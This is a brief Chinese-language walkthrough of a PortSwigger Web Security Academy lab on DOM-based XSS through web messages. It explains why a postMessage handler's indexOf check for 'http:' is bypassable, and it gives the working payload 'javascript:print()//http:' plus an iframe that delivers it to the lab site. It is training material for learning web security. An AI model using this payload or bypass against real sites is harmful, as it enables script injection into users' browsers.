# DOM-based Lab2
這題是 Web Message + DOM XSS + JavaScript URL 的組合,是繞過「黑名單」檢查的技巧。
所以一樣先進入網站。

可以在原始碼發現下列線索:
```html
<script>
window.addEventListener('message', function(e) {
var url = e.data;
if (url.indexOf('http:') > -1 || url.indexOf('https:') > -1) {
location.href = url;
}
}, false);
</script>
```
這代表:
- 這段程式碼試圖保護跳轉,只允許 `http:` 或 `https:` URL。
但實際上:
```
url.indexOf('http:') > -1
```
這只是在整段字串中找是否「包含」http: 或 https:,而不是檢查開頭或正確格式。
只要發送一個包含 http: 的任意字串,哪怕它不是網址開頭,也會被直接跳轉:
```
'javascript:print()//http:'
```
- JavaScript 協議的 payload
- `print()` 會觸發列印對話框(XSS lab 要求)
- `//http:` 是為了混淆,讓這段 payload 通過 indexOf 檢查
```html
<iframe src="https://0a40000104224cb68016034d0047006f.web-security-academy.net/" onload="this.contentWindow.postMessage('javascript:print()//http:','*')">
```

---